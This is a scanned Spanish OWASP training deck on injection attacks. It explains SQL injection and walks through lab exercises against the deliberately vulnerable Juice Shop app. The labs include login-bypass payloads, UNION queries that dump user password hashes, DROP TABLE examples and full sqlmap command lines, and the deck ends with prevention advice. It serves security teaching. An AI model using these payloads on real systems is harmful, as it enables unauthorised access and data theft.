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2013-A1 - Inyeccion (2017 RC idem)

S

e Engainar a la aplicacidon para que envie comandos al interprete

e Recibir Strings e interpretarlos como comandos
e SQL, OS Shell, LDAP, XPath, Hibernate, etc...

|

p—

e Muchas aplicaciones siguen siendo vulnerables
e Es simple de evitar

—

|

)

» Grave. Toda la base de datos puede ser leida y/o modificada
e Puede permitir full access a bases de datos, usuarios o OS




2013-A1 - Tipos de Inyeccidn

* Command Injection
* Code Injection
* LDAP Injection
 SQL Injection




Inyeccion

* Permite a los atacantes enviar codigo malicioso a
traves de la aplicacion hacia otros sistemas

 La mejor forma de detectar si una aplicacion es
vulnerable a inyeccidon es verificar que todos los
interpreters separan claramente los datos no
confiables del comando o consulta

e Este tipo de ataques incluye llamadas al sistema
operativo, llamadas a programas desde
comandos de Shell o consultas a las BD del
backend

) 0LWASP
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Inyeccion SQL

e El atacante pude ejecutar codigo SQL
malicioso pudiendo modificar |la Base de Datos
de la aplicacion afectando su integridad.

* Puede permitir a un atacante sin acceso
autorizado el acceso a informacion sensible.

* Un atacante debe conseguir un parametro que
llegue hasta |la base de datos
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Inyeccion SQL

request

NI/

APLICACION

App Setver
Web Setver

Hardened OS

A

RED

Firewall
Firewall

Account: | OR1=1-
SKU: -

Acct:4128-0004-1234-0293

1. Presenta un formulario al
atacante

2. El atacante envia un ataque
mediante el formulario

3. La aplicacion redirecciona el
ataque hacia la BD (sql query)

4. La Base de Datos ejecuta la
query y envia la informacion
cifrada a la aplicacion

5. La aplicacion descifra la
informacion y se la presenta al
usuario
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Inyeccion SQL

<form method="post*
action="http://testasp.vulnweb.com/Login.asp">
<input name="tfUName" type="text" id="tfUName">
<input name="tfUPass" type="password"” id="tfUPass">
</form>
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Inyeccion SQL

SELECT id

FROM logins

WHERE username = 'Susername'
AND password = 'Spassword’
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Inyeccion SQL

SELECT id
FROM logins
WHERE username = 'Mateo'

AND password = ‘cualquiera’ OR 'x'='x'

\ l
|

'Spassword’
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2013-A1 - Inyeccion
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Inyeccion SQL

SELECT title, description, body FROM items WHERE ID = 2
http://newspaper.com/items.php?id=2 and 1=2
SELECT title, description, body FROM items WHERE ID = 2 and 1=2

http://newspaper.com/items.php?id=2 and 1=1
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Inyeccion SQL

Time Based
http://www.site.com/vulnerable.php?id=1’' waitfor delay ’00:00:10'-
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Buscando usuarios

SELECT email, passwd, login_id, full name
FROM users
WHERE email = 'x' OR full _name LIKE '%Mateo%’;
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Buscando contrasenas

SELECT email, passwd, username, full_name
FROM users

WHERE email = ‘mateo@sqli.com’

AND passwd = ‘uruguay2017’;
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Agregando usuarios

SELECT email, passwd, username, full_name
FROM users

WHERE email = 'x';

INSERT INTO users
(‘email’,'passwd’,'username’,'full_name’)

VALUES (‘mateo@sqgli.com','1234','mateo’,'Mateo
Martinez');--'

OWARSP




Borrando la BD

SELECT email, passwd, username, full_name
FROM users

WHERE email = 'x';
DROP TABLE members; --'; -- Ouch!

OWARSP




HI, THIS 1S OH, DEAR - DID HE
YOUR SON' SCHOOL. | BREAK SOMETHING?
WERE HAVING SOME

COMPUTER TROWRLE. | N A WAY

o ﬁm

https://xkcd.com/327/

DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Students; -~ 7

!

~OH.YES UTTLE
BOBBY TABLES,
WE CALL HIM.

WELL, WEVE LOST THIS
YEAR'S STUDENT RECORDS.
I HOPE YOURE HAPPY.

{

AND I HOPE
- YOUVE LEARNED
t  TOSANMIZE YOUR
DATARASE INPUTS.
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Contando Columnas (Union Based)

Los ataques basados en UNION permiten extraer
facilmente informacion de la base de datos. Pero
el operador UNION solo se puede utilizar si ambas
consultas tienen la misma estructura exacta. El
atacante debe elaborar una instruccion SELECT
similar a la consulta original. Se debe conocer el
nombre de la tabla y se debe determinar también
el numero de columnas y su tipo de datos.

OWHSP




Contando Columnas (Union Based)

SELECT name, description, price FROM products
WHERE category=1 ORDER BY 2

OWARSP




Descubrir tipos de datos (Union Based)

SELECT name, description, price FROM products
WHERE category=1 UNION SELECT 'A’, 'B', 3 FROM
all_tables

En pocas columnas es simple, pero a medida que
crece el numero de columnas se hace mas
complejo. Hay herramientas como SQLMap que
automatizan el proceso.

OWHSP




SQL Injection Union Based attack

SELECT name, description, price FROM products
WHERE category=1 AND 1=2 UNION SELECT
username, password, 1 FROM members

Incorporar una operacion légica falsa le asegura
al atacante datos limpios del ataque al estar
antes del UNION.

) 0wASP
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Determinar el Tipo de SQL Injection

 |dentificar la Inyeccion

 |dentificar el tipo de Inyeccion:
* STRING
* NUMERICO

* Tipo de ataque:
* Error-Based SQL Injection
* Union-Based SQL ljection
* Blind SQL Injection

OWARSP
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TOOLS para SQL Injection

 Mieliekoek.pl  (error)

* Wpoison (error)
e Sglmap (blind and union)
e Sapiti (error)
e W3af (error)
* Paros (error)
e Sqid (error)

OWARSP




LAB — Configurando ZAP

NN

Web Proxy Web Server

Attacker’s
Browser




LAB — OWASP Juice Shop

https://www.owasp.org/index.php/OWASP Juice Shop Project

OWARSP
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https://www.owasp.org/index.php/OWASP_Juice_Shop_Project

LAB — Configurando ZAP

Primary OS

€=

Browser Web Proxy




Entendiendo el LAB con ZAP

More information

. No proxy

_ Auto-detect proxy settings for this network
. Use system proxy settings

) Manual proxy configuration:

»

HTTP Proxy: 127.0.0.1 Port: 8080

_1Use this proxy server for all protocols

SSL Proxy: Port: 0,
FTP Proxy: Port: 0 _
Copher Proxy: Port: ol[%]
SOCKS Host: Port: ols

_)SOCKS v4 (#) SOCKS v5
No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24
. Automatic proxy configuration URL:

OWARSP
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Lab #1

Es un lab de “calentamiento”... deben encontrar el
Score-Board de Juice Shop
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Lab #1

Es un lab de “calentamiento”... deben encontrar el
Score-Board de Juice Shop

Pista: Ver el codigo fuente

OWARSP




Lab #1

Es un lab de “calentamiento”... hay que encontrar el
Score-Board de Juice Shop

Pista: Ver el codigo Fuente

Respuesta: /score-board

) 0wASP
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L OWASP Juice Shop [ Hacking exercise rule...

; OWASP Juice Shop v2.22.0 ) Login R English ~

Score Board

Your Hacking Session (Conveniently save your hacking progress to rest

|E3) Restore Progress

OUJASP
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Lab #2

Generar un SQLi Error Based

OWARSP
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Lab #2

Generar un SQLi Error Based

Pista: Vamos a generar un error todos juntos.
Ingresar con un login llamado mail’

OWARSP
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Lab #2

) OLURSP
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Lab #3

Ingresar a la plataforma sin conocer un usuario

OWARSP
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Lab #3

¢ @ localhost

L OWASP Juice Shop [ Hacking exerciserule...

! OWASP Juice Shop v2.22.0

(% Logout R English ~ Q Search ™ Your Basket

€ About Us

&) OWASP

Open Web Application
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Lab #3

¢Y como llegd a ser admin?

OWARSP
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Lab #3

¢Y como llegd a ser admin?

Respuesta: Funciono el SELECT * FROM USERS, vy el
user ID #1 era justamente el admin

OWARSP




Lab #3

¢Y esta inyeccion de donde salio?

OWARSP
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Lab #3

¢Y esto de donde salio?

Pista: Probemos con ZAP...

OWARSP
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Lab #3

Yo Prest ,
| W GET:continue-code ' :"admin”, :"pass"}
» || P product
Y Muser

™ POST:login{ {"email";"admin

U POST:login( {"email":"a' BRALEISS N Active Scan...
| M POST:login({"email":"te Delete % spider..,
| P POST:login({"email";"ma Include in Context > /" Forced Browse site
| W POST:login({"email":"mg Run application > | J* Forced Browse directory
v http:/iwww.google.com.uy Flag as Context » ¢ Forced Browse directory |
Resend...
New Alert...
‘. \ Show in History Tab .
—— = - Open URL in Browser —
[ HlstoryT <, Search T 8 Alerts I Cony URLE £ ClinbbArd
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Lab #3

_[ Fuz Locations | Options Qcessg
@ @ Add Payload
|Header: Text || [Body:TType: [FlaFuzirs =il f
: # of .|
POST http://localhost:30 Files: v Dinjecti 1 il I
User-Agent: Mozilla/5.0 LES: njgstian - . 2
20100101 Firefox/51.0 (_JActive SQL Injection .
Accept: application/json |_JLDAP Injection
Accept-Language: in-US,.e |_JMS SQL Injection i i
Sontant-Type: @pPIICH LY (JMS SQL Ninja Injection (Blind) )
Referer: http://localhos uM < (I).In’ ]t' ](Bli d)(
Content-Length: 35 EIMySQ ]_ec fon N
Cookie: io=kohzS3fNadVNi LJMySQL Injection 101 :J
Connection: keep-alive |_JMySQL/MS SQL Common Injection :
Host: localhost:3000 |_JOracle SQL Injection b
(VPassive SQL Injection v
Payloads Preview: | Passive SQL Injection s
1: '||(elt(-3+5,bin(15),o0rd(10),hex(char(45))))
2: |6 |
36 g
4: (||6)
5:'orl=1--
6: or1=1
7i'or'l'="1 I 3
{ ;" admEn " , 8::or'l'="1"
9: " or isNULL(1/0) /*
10: 'or '7659'="'7659
11: " or isNULL(1/0) /*
12:" -
L IS
< i LS i -
fation
| Cancel || Add ||
(%) | Cancél || Reset || start Fuzer |

OWARSP
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Lab #3

3 Fuzed 401 Unauthorized 62 ms

d Fuzzed 401 Unauthorized 85 ms
S Fumed 2000k 122ms_

6 Fuzzed 401 Unauthorized 72 ms

7 Fuzed 401 Unauthorized 37 ms

My —— ] M ek = o= o s Je—

:"pass"}

) OLUASP
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Lab #3

[ %7 Quick Start | = Request [Respnnseﬁ:] Cﬂ‘ ]

|Header: Text q | Body: Text _'] =] =

HITP/1.1 200 0K

¥-Powered-By: Express
Access-Control-Allow-Origin: *
¥X-Content-Type-Options: nosniff
X-Frame-0Options: SAMEORIGIN

Content-Type: application/json; charset=utf-8
Content-Length: 441

ETag: W/"1b9-mm¥xV]fRREof2svzF1DBag"

Date: Tue, Q4 Apr 2017 01:42:36 GMT
Connection: keep-alive

{ :
"eyJhbGci101JIUzI1NIISINRScCIGIkpXVCIS, ey JzdGFOd XM101 JzdWN ] ZXNz I 1wl ZGFOYSIGey Jp ZCIEMSw1 ZWL hawwl 01 JhZG1pbk BgdWl §
Z51zaCSvcCIsInBhe3N3b33kI o1 MDESH] AyM2E3YmIkNz H}-'f'd'l'leﬂ'LmHDT'ﬁEGTADGI1HDH1LCJ]I:mUhEIGW.fkthlI r1DEdLTHGLTA?IDEdD]
QOO IxL ] AwMCArMDABMDALLCI1 cGRhdGY QX101 IyMDESLTAGLT AZIDE30] Q00 TxL ] AwMC AR :|r1DJ5.1'f5".-.fla'."l.'FElI]DnND KFpewkTcZLCI1
eHA1O]EQOTEyODgxNzZ29. 51 1hgS- kPFGxgJS1YsdFvv2ocz1 1 JORy t-asPELT3AE", 1L :"admin@julce-sh.op"}

OWARSP
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Lab #4

Ingresar como el usuario “bender”

OWARSP

Open Web Appl
Securit y Project




Lab #4

Ingresar como el usuario “bender”

Pista: bender@juice-sh.op’'--
Transforma la consulta en:

SELECT *

FROM USERS

WHERE email='bender@juice-sh.op'

OLUASP



mailto:bender@juice-sh.op'--

Lab #4

OWARSP
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Lab #4

éY si no me se el email?

OWARSP

Open Web Appl
Securit y Project




Lab #4

¢Y si no se el email?

Pista: entonces utilizer una consulta similar a:
' or email like '%bender%' ; --

OWARSP
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Lab #5

Acceder como admin sin hacer SQLi

OWARSP
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Lab #5

Acceder como admin sin hacer SQLi

Pista: buscar claves en sitios como:

https://github.com/danielmiessler/SeclLists/tree
/master/Passwords

OWARSP




Lab #5

Acceder como admin sin hacer SQLi

Pista: buscar claves en sitios como:

https://github.com/danielmiessler/SeclLists/tree
/master/Passwords

Respuesta: admin@juice-sh.op/admin123

OWARSP



https://github.com/danielmiessler/SecLists/tree/master/Passwords

Lab #6

Vamos a instalar SQLMap para automatizar
ataques:

Ejecutar en la terminal:
#sudo apt-get install sglmap

) 0wASP
gpen Web Application

ecurit y Project




Lab #6

Una vez instalado ejecutar en la terminal:
#sglmap —u
‘http://localhost:3000/rest/product/search?qg=pr
ueba’ --level=2 —p ‘g’ --dbms="sqlite’

@S @ juice@juice: ~

File Edit View Search Terminal Help
juice@juice:~$ silmap -u 'http://localhost:3000/rest/product/search?q=prueba' --level=2 -p 'q'

--dbms="sqlite’

https://github.com/sqlmapproject/sglmap/wiki/Usage
OWASP

Open Web Application
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Lab #6

sqlmép resumed the folloﬁing injection point(s)'ff

Parameter: q (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: g=prueba’)) UNION ALL SELECT NULL,'q]j

OWARSP
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Lab #6 — Parametros sqlmap http
-v: verbosity level

--url: url a atacar

--user-agent: Custom User-Agent
--delay: segundos entre HTTP(S) request
--timeout: segundos a esperar

--retries: reintentos despues de timeout
--keep-alive: conexiones HTTP(s) persistentes
--threads: HTTP(S) requests concurrentes
--eta: calcula y muestra el tiempo
--batch: funcionamiento por defecto

) 0wASP
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Lab #6 — Parametros sglmap de auditoria

--dbms: define el motor de la BD

--0s: define el OS del backend

--level: nivel de test (1 a 5, por defecto 1)
--risk: riesgo de los test (1 a 3, por defecto 1)
--banner: muestra el banner de la BD

--dbs: enumera la lista de BD

--tables: enumera las tablas de la BD
--technique: Técnicas utilizadas de SQLi

) 0wASP
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Lab #6 — Tipos de ataques sglmap

B: Boolean-based blind SQL injection
E: Error-based SQL injection

U: UNION query SQL injection

S: Stacked queries SQL injection

T: Time-based blind SQL injection

OWARSP




Lab #6

sqlmap.py -v 2 --url=http://mysite.com/index --
user-agent=SQLMAP --delay=1 --timeout=15 --
retries=2 --keep-alive --threads=5 --eta --batch --
dbms=MySQL --os=Linux --level=5 --risk=4 --
banner --is-dba --dbs --tables --technique=BEUST
-s /tmp/scan_report.txt --flush-session -t
/tmp/scan_trace.txt --fresh-queries >
/tmp/scan_out.txt

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap
UUJHSU




Lab #6

sqlmap resumed the following injection point(s) from stored session:
Parameter: q (GET)

Type: UNION query

Title: Generic UNION query (NULL) - 8 columns

Payload: g=prueba')) UNION ALL SELECT NULL, 'qjkvq'||'EYThVgLVNKrLKPPLPrzNpuSIhQQggwbdfhVFv
IYQ'||'qpxqq',NULL,NULL,NULL,NULL,NULL,NULL-- -

[00:22:33] [INFO] the back-end DBMS is SQLite

OWARSP
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Lab #7

Vamos a intentar de avanzar con UNION pero en
forma manual sobre el formulario de busqueda.

El primer paso va a ser pegar el resultado del

payload de SQLMap en nuestro campo de
busqueda.

OWARSP




Lab #7

Search Results
prueba’)) UNION ALL SELECT NULL,'qjkvq’||'EYThVgIVNKrLKPPLPrzNpuSIhQQggwbdfhVFvIYQ'||'qpxqq’,NULL,NU

Product Description Price

qjkvgEYThVglVMNKrLKPPLPrzNpuSIhQQggwbdihVFvIYQgpxaq

OWARSP
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Lab #7

Search Results prueba’)) UNION SELECT * FROM users--

Product Description

) 0LWASP
Open Web Application
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Search Results
prueba’)) UNION SELECT NULL,email,password,NULL,NULL,NULL,NULL,NULL FROM users--

Product Description Price
admin@juice-sh.op 0192023a7bbd73250516f069df18b500

bender@juice-sh.op 0c36e517e3fa95aabf1bbffc6744adef
bjoern.kimminich@googlemail.com 448af65cf28e8adeab7ebb1ecif66f15

ciso@juice-sh.op 861917d5fa5f1172f931dc700d81a8fb

jim@juice-sh.op e541ca7ecf72b8d1286474fc613e5e45

support@juice-sh.op d57386e76107100a7d6¢c2782978b2e7b

) OLUASP
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Lab #7

")) union select 1,2,3,4,5,6,7,8 ; --

) 0wASP
gpen Web Application
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Lab #7

XXX' )) union select 1,name,name,4,5,6,7,8 FROM
sglite_master WHERE type = 'table’ ; --

OWARSP




Lab #7

XXX' )) union select 1,sql,sql,4,5,6,7,8 FROM
sglite_master
WHERE tbl _name = 'Users' AND type = 'table’ ; --

OWARSP




Lab #7

XXX' )) union select id,password,email,4,5,6,7,8
FROM Users ; --

OWARSP




Lab #7

0192023a7bbd73250516f069df18b500 admin@juice-sh.op admin123
e541ca7ecf72b8d1286474fc613e5e45 jim@juice-sh.op ncc-1701

448af65cf28e8adeab7ebblecff66f15 bjoern.kimminich@googlemail.com
861917d5fa5f1172f931dc700d81a8fb ciso@juice-sh.op
d57386e76107100a7d6¢c2782978b2e7b support@juice-sh.op

) 0LWASP
Open Web Application
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mailto:bjoern.kimminich@googlemail.com
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mailto:support@juice-sh.op

Al — Evitando Inyecciones

| _‘ |
e Evitar el acceso al Interprete

e Utilizar interfaces que utilice bind variables (como prepared statements,
o stored procedures),

e Bind variables permite al interprete distinguir entre codigo y datos
e Codificar los inputs de usuario antes de pasarlos al interprete
e “White list” para los datos del usuario (cuando se pueda)
e Utilizar siempre privilegios minimos en la BD

e https://www.owasp.org/index.php/SQL Injection Prevention_ Cheat Sheet

) OLUASP

Open Web Application
Security Project



http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

OWASP

Open Web Application
Security Project

iMuchas Gracias!

Mateo Martinez
mateo.martinez@owasp.org

@mateomartinezOK



